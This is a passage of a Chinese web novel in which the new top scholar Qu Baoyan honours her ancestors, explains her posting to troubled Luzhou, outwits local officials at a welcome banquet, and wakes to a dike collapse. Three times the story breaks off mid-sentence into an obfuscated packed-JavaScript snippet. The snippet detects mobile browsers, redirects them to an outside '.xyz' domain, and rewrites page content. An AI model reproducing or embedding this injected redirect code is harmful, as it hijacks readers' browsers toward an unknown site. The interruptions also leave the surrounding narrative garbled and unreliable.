宝桃儿和青杏儿一听，喜得眉眼弯弯，笑着应声去了后院。 气氛顿时又松快了几分。 一众人穿过园廊，入了前厅，却是另一番气氛。 堂中地砖光亮，洁净如洗，陈设肃整。 供案之上，瞿家列祖列宗的牌位依次安放，香火缭绕，灯烛明亮，照得厅内一片庄重肃然。 堂前两侧高悬书匾，“敦本守正”、“清正传家”，字迹苍劲，映着家门的一脉传承。 院中，瞿夫人只陪着瞿宝砚到厅前，便也停步，和瞿老爷瞿姑姑退至一侧。 一旁的瞿家兄妹平日里最是顽皮，此刻也都在长辈身边静立着，小小年纪，却也觉出这堂前香火所承载的分量，站姿比往常更笔挺了几分，眼神也不敢随意游移。 廊下小丫鬟摆好一盆铜水，盆中清水泛着微光。 瞿宝砚上前，俯身洗净双手。身边丫鬟轻巧地用净巾为她拭水，又替她掸落衣袍上的风尘。 此刻堂前人语全无，一片肃穆，唯有香火轻跳。 厅内，老太爷换了一身玄青绸袍，立于供案之侧，手中把着静燃的香支，比往日多了几分郑重。 他面朝祖宗牌位站定，高声告祭道： “列祖列宗在上，瞿氏一门，自澄州落籍，已历六代。今三房嫡孙女宝砚，于承乾十四年金殿策试，夺魁天下，膺为一甲第一，列名状元。此乃祖宗有德、家门有幸，今焚香告于列祖列宗之前，以慰先灵。” 24. 山河驿路2 说着，他转身望向宝砚，继续道：“是日归家，衣锦拜宗，望我宝砚不忘根本，不负所学，为家守清誉，为世立仁心。” 言罢，一旁童仆双手捧上红毡软垫，铺在牌位之前。 瞿宝砚上前，缓缓跪下，正身肃体，面向祖宗牌位。 香火在她眼前袅袅上升，像是山河远路。 她接过老太爷手中的香支，高举面前，语声清正： “列祖列宗在上，孙女宝砚，今得还乡，拜告宗祠，幸不辱门楣，谨奉香火，致礼于前。” “承祖训之严，家教之厚，得以登科及第，名列一甲。” “此身所学，根于庭训；此志所向，愿为乡梓谋安，为百姓谋利。” “不敢忘本，不敢自傲，不敢懈怠。” “愿以所学守家声，所任济世途。谨誓，不辱家声，不负斯恩。” 言罢，三拜九叩，长揖不起。 堂前香烟袅袅，炉火微明，此刻天地无声，惟心可闻。 老太爷见瞿宝砚叩拜下去的身影，眼中也泛起一丝泪光。他缓缓走至供案前，亲手将瞿宝砚从地上扶起：“好，好。想必祖宗也都听见了，在天之灵，必定欣慰。” 他轻拍她肩头，又道：“你一路风尘，乏了许久，先去沐浴更衣罢，歇上一歇。晚上还有接风宴，咱们一家人坐上一桌，好好吃顿团圆饭。” 瞿宝砚顿首，声音轻缓：“好。” 当晚，瞿府厅中灯火暖黄。 一家人围坐堂前，饭香氤氲，笑语相闻。 案上仍旧是家常饭菜，不过添了几样瞿宝砚自幼爱吃的菜式，像是糖醋小排，虾仁豆腐羹，荷叶粉蒸肉还有鱼圆汤，皆是她熟悉的味道，也是府中常年不改的风味。 外头再好的酒肴，也比不得这一桌熟手煮出的家常滋味。 这一幕，与去岁赴京前那夜几无二致。亦是家人围聚，只不过话语所谈，是行装待整，路远风寒。 而今名成而归，再入其间，座次如旧，人也未改。 仿佛半载光阴，不过一晃之间。 瞿宝砚此番归来，席上话却比往常多了些。 她说起京中见闻，说会试后迎春宴上的诗酒联句，说天南海北的考子吟咏不绝、有人醉倒在案上的趣事，又谈起御街春色、坊间小摊，语气轻快，眉眼生动。 一席话，说得众人笑声不断，连向来稳重的瞿老爷也不时失笑，多喝了好几盏清酒。 堂中气氛热络温和，饭未中断，话却难停。 窗外春意正浓，风过庭树，吹得灯幔微摇，几点落英随风飘入厅中，落在青砖之上。 家灯如旧，一盏便慰万里风尘。 · 晚饭过后，饭后的余香还未散尽，夜色沉沉，庭中树影斑驳，风过树梢，沙沙作响。 爷孙俩一如往日，坐在月下闲谈。 老太爷披了件薄褂，坐在小院藤椅上，手里捧着一盏温茶。 瞿宝砚坐在他一旁，神色沉静。 老太爷神情如常，仍是那般沉稳清朗。可不知怎的，瞿宝砚却觉出一丝细微不同。 他鬓发似乎白得更明显了些，眼下细纹也深了几分。明明她离家不过半年，如今再望，祖父竟似比记忆中更添几分苍老。 不等瞿宝砚开口，老太爷却先一步望过来，开门见山：“你这次回来，想必接下来不是回京赴任罢？” 瞿宝砚微微一愣，顿了顿，随即轻轻颔首：“不是。” 老太爷嗯了一声，微微点头，似乎意料之中。 “饭桌上只见你笑谈京中旧事，一味给你阿娘、姑姑夹菜，旁的事却只字未提。”他语气平缓，却句句落实，“我便知道，你心里藏着事。” 瞿宝砚闻言无奈笑了笑：“果然什么都瞒不过祖父。” 语声却带了几分歉意：“其实也不算什么坏事，只是怕家里人多心挂念，反倒徒增烦忧。” 老太爷抿了一口茶，也没有怪：“那就说说看，是哪门子好差事，叫咱们状元郎都犯难开口？” 瞿宝砚神情不动，语气平和道：“殿试过后，朝廷便下了任官的调令。调我往江南道渌州，任知州一职。” 老太爷手一顿，茶盏微微一晃，却没洒。 瞿宝砚瞥见了，故偏头一笑，补了一句：“可是正五品呢，一州主官，实权在身。” 老太爷抬眼瞥她一眼，没好气地哼了声：“怎么？你进了一趟京，回来便欺负你祖父没见识？老头子虽说老了，那也是眼观四面，耳听八方的，我能不知道？——京官哪怕是个六品，那也是留中清贵；外放纵是正四品，也脱不得‘在外’之名。这能一样？” “祖父眼界通透，宝砚哪敢妄言高下。”瞿宝砚连连拱手。 老太爷却笑了：“看来这京城走一趟，倒把你磨得圆滑不少。” 说着他轻轻放下茶盏，望着庭中月光，低声道：“渌州啊……那地儿，我不是没听说过。河道年年亏空，百姓怨声载道，乱得很，算不得什么好地方。都是江南道，就说咱们澄州，都比那地方好上不止数倍。” 瞿宝砚沉默了片刻，却道：“众人都道渌州乱，可此地本是江南富郡，水陆通衢，商道繁兴。如此良地，何以至此？” 她稍顿，又道：“传言之语，未可尽信。渌州究竟怎样，还是要亲自走一趟，踏实地、听实声，方可知真伪。宝砚不敢言能治其乱，却也不愿未临先怯。” “你说得在理。”说完，老太爷静静看了她片刻，才缓缓开口：“但我倒要问一句——这江南道上地广州多，缘何偏偏是你，叫去啃那块最难啃的硬骨头？” 他手指轻轻点着茶盖：“这事若是单从官品分配来看，倒也说得过去，正五品的知州，名义上并不吃亏。可要论实处——渌州是个烂摊子，年年河道亏空、赋税收不齐，前任一位走了，后一位没站稳脚就给参了。你是新中状元，又是寒门出身，名头响、资格浅，拿你去试刀，朝中倒也顺理成章。” 他顿了顿，语声更低：“这恐怕叫‘看你肯不肯下场’，‘会不会走道’。若你真能把这地方理清了，功劳是有的，可树的敌人也多；若理不清，就叫你‘才高不堪用’，以后再打入翰林，也不过是个留名的清贵闲人。” 老太爷抬眼看她，神色不动，却目光沉定：“官场水深，人心难测。你祖父虽未入朝为官，可眼睛也不算瞎。” 瞿宝砚静静听完，半晌，她才低声开口：“祖父说得是，您的担心也不无道理。” “可这天下朝局，岂因我一人而起波澜？若说只是为了‘试我’，未免太过看轻了这道调令。” 老太爷一挑眉：“哦？怎么说？” 她道：“朝廷任人，远不止‘用谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042156|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’‘弃谁’表面这般简单。动一个人，就是动一派。渌州一任，表在地方，根却在朝堂。祖父当年教我，要心里有一杆秤，偏得动、沉得下、明得起。宝砚记得，京中数月，更是不敢忘。” 老太爷望着她，未语，只是静听。 瞿宝砚：“此番殿试十甲，虽为选才，实则也可观朝局一角。” “除我之外，榜眼是丞相之子，探花乃宗室之女，其余七人，一半是京中旧望，一半是地方世家。陛下欲广纳贤才，却也需顾诸方势力之面——十甲之列，既要才学为上，也要门户有别。” “所谓一碗水端平，听起来是公道话，说到底，却是权衡之术。” 她目光不偏不倚，语气平静：“陛下要解渌州之困，可朝中之人，皆不愿去。” “不愿去的，是怕无功而返，折了声名；愿去的，心不在政，多半另有算盘，恐怕不是去解局，而是搅局的。” “用谁，得罪谁；不动，便烂到底。一着不慎，便是四面得罪，两头不讨好。” “若无人愿去，或是上任即走，那渌州这一地，迟早成死局。” “一旦成了死局，便不是一地之病，而是朝廷之耻了。” 老太爷目光一闪，却没有打断瞿宝砚。 瞿宝砚：“因此，陛下要找的，不是能人，也不是熟人。” “他要的是一个无门无党、清清白白的人，能听得进话，也能担得起事。” “如今选中我，便已说明——此番赴渌州，不是什么‘试刀’，而是要剜去一块烂肉，挑开一道口子。” “点官之前，陛下便派人探我口风。话虽是探，实则是在‘示’。若我肯去，那便是听命；而一旦去了，便是天子亲点、明旨撑腰。” “眼下看来，我虽无倚无靠。” “可真到了用得着的时候，天子之命，便是最大的倚仗。” 老太爷听罢，心中微震。 瞿宝砚目光沉静：“祖父放心，这一步，是思虑之后的定策，而非意气之举。” “不论是为瞿家，还是为我自己，宝砚都不愿做个糊涂人。” “况且，若留在京城，未必真是好事。” “京中世家盘根错节，人情如丝。办事的功夫全拿来与人周旋，办实事的余地反倒少了，将人消磨得毫无寸进。” “与其困于权势之间虚与委蛇，不如外放一地，有权有责，实打实为一方百姓做些事。如此，也不负寒窗十载苦读。” 她看向老太爷，继续缓声道：“太爷也常说，我们瞿家人做事问心，凡事求一个‘正’字。” “读书，不为求虚名，登高炫世，而为心中有道，行事有据。” “若说光宗耀祖，状元之名已足够留一笔于青史。为家谋福无可厚非，但不可贪满。古往今来，有哪个家族真正长盛不衰？” “人之一生，所求原也不多——不过一日三餐，四时安稳。” “在一世，便只谋这一世。我既读书为官，能将所学所任，用于一方百姓，行得端正，便足矣。” 老太爷听罢，久久未语，只是望着她，目光深了几分。 片刻后，他轻轻摇了摇头，低声道： “老头子没什么能再教你的了——” “这渌州，你便去罢。” —第一卷·春声初动·完— 25. 新官上任 五月初，天阴了三日，今晨起细雨连绵，街面湿滑，檐角滴水如线。 渌州城西的茶铺里坐着三五个人，围着桌喝茶避雨。竹帘被风吹得斜起一角，雨气裹着泥土味儿钻进来，铺里哄嚣一片，闲话声不停。 “你们听说了没，咱这地又新来了个知州大人。” 另人一摆手：“嘿，那不稀奇——咱们这都来了几任知州大人了，我都记不清谁谁谁，什么姓张姓王姓李的，这次这个又姓什么啊？” “听说姓瞿。” “哪个瞿？” “我哪知道，我大字就识得那么几个，谁知道什么瞿。不重要，反正待不过一个月就得拍拍屁股走人！” 这话一落，众人笑了两声。 “这次这个可不一样——” 说话的是个年纪尚轻的汉子，在门边抖着雨具，走近落了座，倾身压低了声音：“我大表哥他爹是西门仓的管事，说这次来的这位知州大人啊，可不是寻常官儿，是今科状元呢。” 话音刚落，茶铺里静了一瞬。 “哟，状元？” “可是那考试得了头一名的意思？” “真的假的？” “我滴天，”一个老汉放下茶碗，挠了挠头，“京里的状元来咱这地方做知州？” “多大年纪？” “能管事么？” “那就不知道了，且看着吧···来来来，先喝茶——” 几句话之间，茶汤微凉。 屋外风细雨斜，长街泥泞。 渌州城外，一队官马正自远而近。 官轿稳稳停在渌州城门前，雨还在下，不大不小，带着此时节江南独有的潮气。 宝桃儿掀开轿帘看了眼外头，撇了撇嘴，小声嘀咕：“这一路上，天可真是没个干净时候。” 她口中抱怨，手脚却麻利，立即跳下车，撑开伞具，在轿边唤道：“大人，小心路滑。” 瞿宝砚嗯了一声，低头落脚，靴底沾了泥，雨水顺着伞尖滴在肩头，还没等她抬头望去，一阵脚步快步上前。 一把油纸伞已撑到她身前。 “瞿大人！久仰久仰，久闻今科状元才名，今日得见，驾临此地，实乃我渌州之幸呐！” 来人年约五旬，声音洪亮，鬓发整洁。他微弯着腰，却又留着三分不卑不亢的姿态，显出地方官的稳重。 见瞿宝砚抬眸望过来，他躬身作了一揖三让的礼：“卑职李秉德，任本州通判。今日得迎大人大驾光临，荣幸之至。” 紧跟着的还有两人，一位身形魁梧，步履生风，腰悬佩刀；另一位身宽体胖，眼珠灵活，着深青官服。 “卑职伍秋才，见过知州大人。” “卑职何恩贵，恭迎知州大人！” 二人拱手作揖，话语交叠，脸上俱带着笑意，好似春雨一样不疾不徐地飘落，叫人不好拒绝。 后头还有两名本地幕僚，一路小跑上来，生怕落了半步，纷纷递伞奉巾，争相上前。 宝桃儿被人潮挤开一旁，好不容易站稳，嘟囔了句：“抢着买鸡蛋呢——” 李秉德又道：“卑职任此地通判也已有七载，所掌虽小，然本州地方事宜，大略熟悉。大人远道而来，一应大小事务，卑职愿尽心效力。” 这话说的态度恭敬，却又掩不住几分自作熟稔。 瞿宝砚听罢，面上浮起一丝淡笑，语气温和：“李大人过谦了。本官初到渌州，尚有诸多事务未谙，还望几位前辈不吝赐教。” 这声音不高不低，却刚好传入所有人耳中。 余下二人连忙道： “不敢不敢。” “自然自然——” 李秉德一听这“前辈”二字，眼神微动，便知这位新知州说话极有章法。一句“本官”，自陈其位；一声“前辈”，谦敬有加。语中礼数周全，却不失从容分寸。 当即笑容更深了几分，退后半步，作势引路： “大人远道而来，一路辛苦，府上已备下热汤与食点，还请先行歇息。晚间‘锦绣阁’已设下接风宴，卑职也邀了府衙的诸位同僚，愿为知州大人洗尘一杯，还望大人赏面。” 瞿宝砚颔首应道，语中带笑：“有劳诸位费心了。” 一行人簇拥着进了城。 雨势渐止，檐角仍滴水连绵，沿府墙两侧，青砖洗净、朱漆崭新，门房左右各挂着一盏新换的纱灯，映得门匾上的“知州府”三字分外清晰。 瞿宝砚一行方一入内，便有一名中年女子快步迎上来，身着素花衣裙，身段稳健，声音爽利远远传来： “知州大人一路辛苦！卑职刘双娘，专司府中内务，见过知州大人。” 女人年约四十，眉眼利落，皮肤略黝，眸光中藏着几分精明。 “刘管事。”瞿宝砚回礼略点头。 刘双娘双眼笑得像弯月牙，点头哈腰：“大人一路风雨辛劳，府中已备好净室热汤，卑职今早便亲自查过，屋内床被皆是头一等新料，大人只管好生歇下。” 她说罢便抬手引路。一行人穿过一进长廊，再绕过回廊天井。廊下悬灯未灭，府内院落规整，花木修剪妥当，台阶缝隙连一株杂草也不见，打扫的十分用心。 刘双娘在屋前停下步子，转头道：“大人请进，这正厅后面是您的书房与卧房，卑职都吩咐过衙役和下人们了，随时听用。” 进得堂内，果如其言，陈设一应俱全。 山水挂轴题款不俗，博古架上还摆着数件官窑旧器，窗明几净，香炉清洁，书册按类整齐，不失打理。 但细看之下，却也觉出一丝不易察觉的怪异：那博古架上层擦得光亮，角落却积着厚灰。书柜底座漆色略新，上下不一，还有股味道不散。案上镇纸雕工虽精，却并非一套…… 一旁刘双娘笑得恭顺，口中应得巧：“这几任大人调换得急，不过物什都重新整理过。奴婢想着大人年岁轻，不喜旧物气味，便多换了些新的，若有不合心意的，您尽管吩咐，卑职立刻叫人去换。” 瞿宝砚走至书案前，伸手抚过案边木纹，只道：“规整得很，能用便可。” 这四字说得不冷不热，叫人听不出褒贬。 刘双娘欠身退后，又飞快扫了旁边宝桃儿一眼，陪笑道：“那卑职安排人先送热汤过来，大人更衣沐手，我这便去叫厨房早些动火。” “劳烦了。”瞿宝砚微一点头，转身在案前坐下。 刘双娘行了一礼，便转身告退。 门外脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042157|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐远，不一会儿，外头又下起雨来，檐下水珠不绝，雨声沙沙。 宝桃儿在书房里转了一圈，东敲西看，眉头却越皱越紧。 “该有的倒是都有，只不过——”她嘀咕着翻开案上一叠纸，“这些东西摆的全不讲究。您瞧着最底下这几张纸还是潮的，一股仓味儿，分明就是压箱底的旧纸，不是糊弄人嘛——” “还有那位刘管事。”宝桃儿忍不住撅嘴，“我看她话说的恭敬，笑得也殷勤，就是不知道为什么，那笑脸看得让人直起鸡皮疙瘩——” 她转到桌前停下，有些气不过：“大人，您说今儿这些人在城门口接得那般勤快，到底是真敬您，还是另有图谋？” 瞿宝砚轻轻一笑，将纸叠好搁在一旁，目光落在案上的几本书册上，语气缓缓道： “敬，不至于。渌州不是头一回迎新官，久了，也就知道怎么迎了。新官上任，表面功夫自然要做足，才不留人话柄。” 宝桃儿咂了咂嘴，低声道：“我总觉得今晚那酒，怕不是给您接风，是给您下马威来着。” 瞿宝砚望向窗外细雨，笑：“即便是，那也要看看，是个什么下马威。” · 渌州最大的酒楼“锦绣阁”，两层高阁，雕栏画栋，楼前悬着十六盏红灯，酒香随着细雨浮在半空。 最上头的雅间灯火通明，门匾题着“花厅”，帘内帘外，人声鼎沸。 花厅里头早有一众官员就座。通判李秉德居右，守备伍秋才、典史何恩贵分列左右，后座还有书办、仓头等数人。 人人衣冠整整，面色和气，酒盏齐备，只等那空着的主位之人落座。 “今儿这场面，咱们可是给够面子了。”伍秋才看了圈众人，又拿起一只雕花酒盏，转了两圈，语气轻佻，“头回见接新官接得这么利落的。” “嘿，那可不，也不瞧瞧这是第几回了。”何恩贵接过话茬，长叹一声，“这年头，来了走、走了来，咱们也接得麻了。但这回不一样——” “咱们这位大人可是状元出身。”他顿了顿，抬手点了点桌面，“还是钦点的。光就这来头，就值咱们今晚的这一桌酒，是不是——” 一人倚着椅背，似笑非笑道：“那也得看看这位状元是不是有几分真本事，莫不是个架子摆得好看罢了？这才刚下考场，却一来就坐了头把交椅——这话，怎么说？” “你们说，她会不会故意晾咱们一会儿，好让咱们知道她是京里来的？” 有人呵呵笑接：“那可不好说。” “来了——” 李秉德放下酒盏，望向楼梯口，众人也都纷纷停声望去。 话音刚落，便听得脚步上阶，几名随从登前开道，接着一道清润声音从帘外传来： “诸位久等了。” 帘影一动，门口立起一道宝蓝色的身影。 瞿宝砚身着官服，发髻高束，一根木簪，不见乌纱，却更显分明清峻。 厅中众人却俱是一怔——他们皆着便服，宽袖软履，未曾料到这位新知州竟穿了朝服而来。 瞿宝砚已举步入席，步履稳健，面带笑意：“承各位大人设宴相迎，本官初到渌州，不敢怠慢，恐诸位久候，便未更衣，失了随和，还望见谅。” 26. 新官上任2 “不敢不敢——”众人纷纷起身还礼。 李秉德一拱手，上前亲自引她落座：“大人言重了，您千里赴任，我等设宴接风，乃理所当然，自当以您为重。” 瞿宝砚微微颔首，落座主位，和声道：“今夜只是闲叙，不必拘礼，各位还请便。” 李秉德一抬手，笑道：“瞿大人请。” 众人也跟着附和：“大人请。” 一众人陆续落座，酒盏添满，香烟袅袅。 小厮鱼贯而入，脚步轻快，袍袖不动声色拂过席边，手中托着的银盘木盖覆香，一道道热气腾腾的菜肴被稳稳摆上桌来。汤盅轻揭便香气扑鼻，碧绿蔬菜上还挂着热气，鲜嫩鱼腹上一挂红丝椒点缀如画。 不过主位那人没开口，谁也不敢先动。 瞿宝砚看了一眼满桌，笑意温温：“都动筷，不必拘礼。” 说罢，她举箸，轻轻拨了碟中一道时蔬，众人这才齐齐笑着落箸，厅中也才真正热络起来。 几盏酒过。 伍秋才坐在侧首，打眼看了圈四周，觉得气氛正好，便咧嘴一笑忽地起身，对着主位的瞿宝砚举杯先敬，说：“瞿大人，新官上任，恭喜恭喜了。我先敬您一杯。我是个大老粗，不大会说话，要是说了什么不敬的话，还请瞿大人多多包涵。” 他说着仰头一饮，酒还未下肚，话先拐了个弯：“不过说句实在的，大人年纪轻轻，又是今科状元，是自京里来的风头人物，我们都佩服的很，不过，要想镇住这渌州，可不容易——不知大人可听说过咱这渌州的一句话？” 他话说着顿了顿，何恩贵正好在一旁接口：“哦，是那句——‘三月新官不问政，半年老官不理民’？” 众人哄笑。 伍秋才一拍桌：“对对对，就是这句——咱这地方，刁民多，老爷也多，大人可得多担待着点。” 众人神情各异，或笑或掩，眼角却都斜睨着主位那人，等她接话。 瞿宝砚举杯与他对空一碰，唇角含笑：“伍大人言重了。本官既蒙朝廷之命，便不敢轻视这份差事。” 她语调平稳，目光不避：“刁民也好，老爷也罢，既归于本官治下，自当一视而论。” “担着，是本分。” 伍秋才脸上的笑意微微一滞，随即哈哈一笑，举杯一饮：“好！说得好！瞿大人好口才！” 李秉德也笑着举盏，声音温和：“伍大人这人，说话向来是直来直去的，心却热。咱们渌州虽小，可也不是谁都能镇得住的——今日一见瞿大人这份气度，我李某是服气的。” 他举杯一饮，接着笑道：“来来来，都别拘着，今儿是接风，不是问政。瞿大人千里赴任，咱们啊，该敬的，不止是这杯酒，还有这份担当。” 他话一落，其余几人纷纷举杯附和，笑声又起。 菜过四味，酒过一巡，厅中气氛稍稍松动。 李秉德笑着提起话头：“大人年岁尚轻，便荣登榜首，着实是少年英才。不知大人祖籍何地？” 瞿宝砚放下酒盏：“祖上籍贯在东南一带，不过早年家中迁居澄州，便在那里长大。” “原来如此，东南一带惯出名士，江南道上可数澄州学气最盛。”何恩贵插话笑道，“那大人定是见多识广，对地方风物也一定格外敏感。咱这渌州虽和澄州都地处江南道，却是有诸多不同，倒也有几样可称特色，不知大人可曾有所耳闻？” 瞿宝砚闻言轻笑：“何大人既熟渌州，不妨赐教几样风物，让我也开开眼。” 何恩贵捋了捋胡须，笑道：“既是大人问起，那我便斗胆说说。” 他举起酒盏，慢悠悠说道：“一是这渌江的水，通三郡，连盐道，动不得。水一动，盐就乱，盐一乱，商贾就不安，百姓也跟着闹腾——这水，看着柔，实则最刚。” 他顿了顿，笑意更深：“二是这府城的庙，那是几代官民合力修的，有香火，有旧例，动不得。谁若要改规矩，轻则民怨，重则上达——这庙，看着老，实则最硬。” “第三样嘛，”他笑着晃了晃盏中酒，“便是咱渌州的茶了。” “这茶不比别处浓烈，也不似江南清苦，讲究一个慢火细煮、温吞入口。水温要对，茶叶要翻三次，急不得，也凉不得。” 他笑眯眯地看了瞿宝砚一眼：“来得急了、问得快了，就坏了味儿。” 他举杯：“大人是读书人，想必懂这茶道。” 瞿宝砚也举杯与他轻轻一碰，面带微笑：“何大人说的不错。茶须细煮，人须细看。火候，且慢慢调。” 说完，她放下酒盏，随即望向正喝酒酣畅的众人，目光不重，缓声道： “未至渌州前，本官确实也听到过一些闲言碎语，说此处多水患、少清吏，民风杂而政令缓，诸如此类，不一而足。” 此言一出，席间众人笑意微顿，神色略变。 瞿宝砚却不急，继续道：“不过今日入城，所见却并非如此。街巷整洁，民居井然，府署有序，迎接周全……若非亲眼所见，几乎不敢信那传言竟会流传至此。也不知这‘坏名声’，究竟是从何而起啊。” 话音落下，厅中一时寂静。 这一番话，话中无责，语中无名，却将“渌州是非”轻送回席间，叫人各自掂量。 几人对视一眼，李秉德最先笑出声来，举盏打圆场：“唉——渌州地处江南交界，南来北往商客多，言语也杂。有些外人听得一星半点，便胡乱编排，传来传去，竟传出些莫名其妙的说法来。” 他笑着摇头，话中半是自嘲半是无奈：“我等在此七八年，只觉勤勤恳恳做事，不知何时成了‘少清吏’了。” 一旁伍秋才也哼声附和：“这世道就是这样。你一声不吭，认真做事，却叫有才的上了墙，有名的上了庙，咱埋头苦干的，反倒埋土里去了！” 何恩贵端起酒盏，打着哈哈：“大人今既亲眼所见，便是真相在此了，旁人如何编说，也掩不了咱渌州今日的清明。” 瞿宝砚听得众人一番话，笑意未改，微微颔首，举杯敬道：“诸位所言甚是，这番话听着倒叫人安心了。本官初来乍到，实话说来，日后还得多倚仗诸位，方能理得周全。便先敬诸位一杯了。” 李秉德一听这话，暗松一口气，笑着举杯应道： “那是自然，分属一体，各尽其责。” 说完，这杯酒，所有人终于才喝了下去。 那晚锦绣阁众人虽笑着散了席，心却都还悬着。生怕是“先礼后兵”，场上敬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042158|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是酒，席后便要动章法了。 可怪的是，几日下来，渌州城照旧日升月落，风浪不惊。都说新官上任三把火，可这把火，却连烧起的苗头都没见着。 自那夜之后，瞿宝砚未曾召见任何一位地方旧官，更无训话压人之举。只本分上署，每日辰正入衙，申初散事，不早不晚。守着她起居节律的衙门中人，只觉分毫不差，井井有条。 凡有属吏前来禀报事务，她大多静听，听完点头，答一句“知道了”，便再无下文。 既不批驳，也不多言。 唯一叫人稍稍在意的是，她上任第三日，调阅了一批厚重案卷，乃是渌州十三县近五年来所呈之公文，涵盖民政、财政、刑狱、学政、赋役、水工、仓储、治安等事，分类整编、分日送至。却也只是安置在书房自阅，未曾召人核问。 这些卷宗数量庞杂，若换一人来，怕是看三日便眼昏脑涨，然而她每日沉于案前，翻页无声，神色不动。偶尔起身，便立于墙上那幅州境舆图前，盯上一阵，再回座继续。 屋外下人每日来院中打扫，也只见这位知州大人坐在案前雷打不动。 书房内案几上陈列整肃，左列《渌州总志》《山川水图》，右堆《盐册》《仓编》《田亩录》《乡案记》，皆为旧册旧录，翻得极勤。桌角镇纸沉重，纸页摊开规整，仿佛真将这地方当成了科场中的题目来做似的。 刘双娘几次在门外打探，终也不解其意，后来学精了，只命人每日备好文房、添汤换茶，不许多嘴。 私下里训话：“咱们这位瞿大人最是爱清静，规矩，书卷气得很。只要她不掀锅翻旧账，不搞什么幺蛾子，咱们便好生伺候着，将人安安稳稳地给送走。” 府衙那头，渌州的几位老官先是观望，后是安心。 “诶呀，新官不烧火，难得难得。” “看来咱们锦绣阁的那一桌酒，还是办对了。” 何恩贵咂着茶，半笑不笑：“可不是，不愧是京里来的状元哪，瞧咱们瞿大人那架势，倒像是还没考过隐呢，还在备着殿试，一日读三本，一页翻三遍，也不怕眼晕。照这么个考法，那殿试的凳子都得给它坐穿喽——” 伍秋才放声嗤笑，大腿一拍响：“什么金榜状元，说的好听，不就是个书呆子。当了官还看书，书里还能翻出花来不成？呆子就是呆子，你看她府衙跑的勤快，实则什么都不问，那官帽却戴得比谁都正，装模作样。” 余下人也附和着笑：“只看书不看人，她要一直这样，我们反倒成了办实事的好官了。” “哈哈哈哈，就是。” 几人你一言我一语，言语间分明已少了几日前的拘谨。 李秉德也淡淡一笑，慢条斯理喝了口茶：“只管坐书房也好，不兴风作浪，咱们便也落得清静。” 有人在旁悄声补了句：“瞿大人这书看得这般认真，怕不是要写一篇《治渌州论》献到朝廷去呢！” 堂中一阵哄笑。 府中衙役听得多了，私底下都笑： 这位京里来的瞿大人是‘纸上当官’——纸上知渌州，书中辨官情。 笑声轻，传得却极快。 不多日，不知从哪起的，又有了新称号： “纸帽官人。” 27. 雷令风行 一月过去，渌州府一派风平浪静。 六月至，天渐长，雨渐多。街上卖蒲扇与药香囊的小贩多了起来，衙署外的皂隶也换上了薄布单衣。 瞿宝砚每日依旧按时入衙、退堂，读卷、阅志、翻旧册。 这般静谧安好的日子，倒叫人养出一种难得的清闲。 府中人心逐渐松了——有人悄悄另起算盘，有人开始打听亲戚的缺额调令；也有人，已经重新拾起棋局、酒局、闲话，仿佛新官上任这一茬不过是梦中一阵雷声罢了。 唯有天色不肯作美。 起初是夜雨，细密无声，落得屋檐滴水，青砖生苔。 后来是黄昏雷声，接连两日，砸得人胸口发闷。再后来，山上雾大，河边水涨，偶有脚夫进城，一路走来衣裳竟全湿了，隐隐听见沿途吆喝道： “河水过小桥，水鬼也上岸咯——” 也不知从哪日起，天就一直没放过晴。 街边大娘支门板时也不由望着天喃喃：“这天阴得怪咧。往年再大的雨，也见过落个两天停一停的。今年倒像是压着没发作似的，也不知什么时候下个痛快——” 谁料一语成谶。 六月中，这场雨便来了。 来得不急不缓，却恐怖如斯。 不是落，而是砸。不是下，而是塌。 堤口轰然一声，塌了。水自高处劈头冲下，像扯线一般，顺着堤岸一寸寸撕开。 一线连崩。 叫所有人措手不及。 · 夜雨如注，密不透风。 天像是塌下来了一层，浓云压顶，雨势似千军万马自天而落，风裹着水直往檐角怒砸，瓦脊齐哗，吵得人烦闷躁郁。 屋内，一盏豆灯轻摇，昏黄如豆。榻上人本已入睡，却被雨声惊醒。 瞿宝砚睁开眼，躺在榻上，静听了片刻雨声。 风雨如锤，敲得窗纸发颤，像是有什么不祥之兆。她起身披衣，赤足下榻，掀开床边的帘子，欲起身走到窗前。 院外忽然传来一阵急促脚步，雨中夹着人声争执。 “大人已经歇下了，”宝桃儿压低了嗓子，“今儿好不容易睡得早些，有什么事不能等明天天亮再说？” “不是闲事！”秦遇声音压得低，也掩不住急切，“江口那边的夜哨来报，说是大堤塌了！” 话音未落，房门“咔哒”一声从内而开。 瞿宝砚披着外衣站在门口，神色清醒如常，眉心却微微蹙起： “说清楚——塌了哪里，怎么回事。” 